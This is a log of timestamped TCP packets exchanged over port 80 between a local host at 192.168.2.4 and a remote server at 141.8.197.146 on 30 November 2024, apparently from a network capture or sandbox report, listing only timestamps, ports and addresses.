Nov 30, 2024 05:00:23.464636087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.464698076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.464740038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.465538979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.465656996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.465719938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.466469049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.466586113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.466640949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.467428923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.467538118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.468390942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.468441963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.468516111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.468561888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.469324112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.469460011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.470091105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.470278978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.470417976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.471271038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.471302032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.471338987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.471338987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.472172976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.472289085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.473130941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.473176956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.473241091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.473282099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.474092007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.474201918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.474252939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.475023985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.475137949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.475970984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.476012945 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.476090908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.476134062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.476921082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.477039099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.477861881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.477927923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.477977037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.478024960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.478816032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.478949070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.479782104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.479831934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.479882956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.479928970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.480711937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.480835915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.481663942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.481705904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.481758118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.481800079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.482616901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.482743979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.482790947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.483561039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.483681917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.484519005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.484564066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.484627008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.484678984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.485471964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.485538960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.485997915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.486444950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.486567974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.487360001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.487404108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.487462997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.487504005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.488313913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.488454103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.489253044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.489310026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.489362001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.489406109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.490228891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.490361929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.490402937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.491147995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.491266966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.492110014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.492156029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.492208958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.492255926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.493046045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.493151903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.494004965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.494043112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.494126081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.494169950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.494935989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.525520086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.525589943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.525635958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.525949001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.526077986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.526144981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.526906013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.526962042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.527015924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.527899981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.528011084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.528065920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.528803110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.528857946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.528918982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.529767036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.529839993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.529895067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.530675888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.530742884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.530802011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.653050900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.653207064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.653409004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.653526068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.653708935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.653992891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.654464960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.654689074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.655388117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.655442953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.655494928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.655539989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.656362057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.656485081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.657289028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.657350063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.657408953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.657453060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.658245087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.658358097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.658410072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.659210920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.659349918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.660161972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.660212994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.660262108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.660307884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.661119938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.661222935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.661272049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.662058115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.662170887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.662219048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.663007975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.663134098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.663187981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.663937092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.664071083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.664894104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.664968014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.665000916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.665044069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.665838957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.665910959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.666805983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.666852951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.666924953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.666970968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.667756081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.667800903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.668678045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.668732882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.668786049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.668832064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.669635057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.669673920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.669998884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.670569897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.670681000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.671569109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.671610117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.671662092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.671705008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.672483921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.672617912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.673412085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.673458099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.673508883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.673551083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.674407005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.674516916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.674559116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.675321102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.675441980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.676290035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.676337004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.676388025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.676434040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.677215099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.677331924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.678170919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.678216934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.678268909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.679155111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.679198027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.679233074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.679276943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.680078983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.680195093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.680475950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.681013107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.681113958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.681157112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.681962967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.682073116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.682900906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.682950974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.683010101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.683051109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.683883905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.684020042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.684829950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.684879065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.684932947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.684979916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.685760975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.685889006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.686103106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.686731100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.686954021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.686995983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.687670946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.687798977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.687839985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.688616037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.688757896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.688863993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.689583063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.689707041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.689748049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.690536022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.690660000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.690710068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.691492081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.691554070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.692399025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.692445993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.692502975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.692543983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.693351984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.693439007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.693901062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.694322109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.694446087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.694488049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.695256948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.695385933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.695427895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.696209908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.726906061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.726946115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.726999998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.727353096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.727444887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.727494955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.728360891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.728403091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.728494883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.729250908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.729350090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.729388952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.730184078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.730241060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.730282068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.731184006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.731270075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.731297016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.732094049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.732163906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.732196093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.774107933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.854227066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.854409933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.854496002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.854720116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.854844093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.855717897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.855772972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.855815887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.855859041 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.856622934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.856724024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.857542038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.857594967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.857641935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.857686996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.858494043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.858589888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.858643055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.859447002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.859606028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.860411882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.860466957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.860518932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.860560894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.861365080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.861490011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.861960888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.862308025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.862433910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.863235950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.863290071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.863353014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.863399029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.864193916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.864332914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.865139008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.865195036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.865246058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.865293026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.866070986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.866189003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.867021084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.867075920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.867127895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.867172003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.867976904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.868160009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.868983030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.869030952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.869081974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.869122982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.869888067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.870003939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.870095015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.870826960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.870946884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.871764898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.871809959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.871874094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:23.871918917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:23.872724056 CET	80	49732	141.8.197.146	192.168.2.4
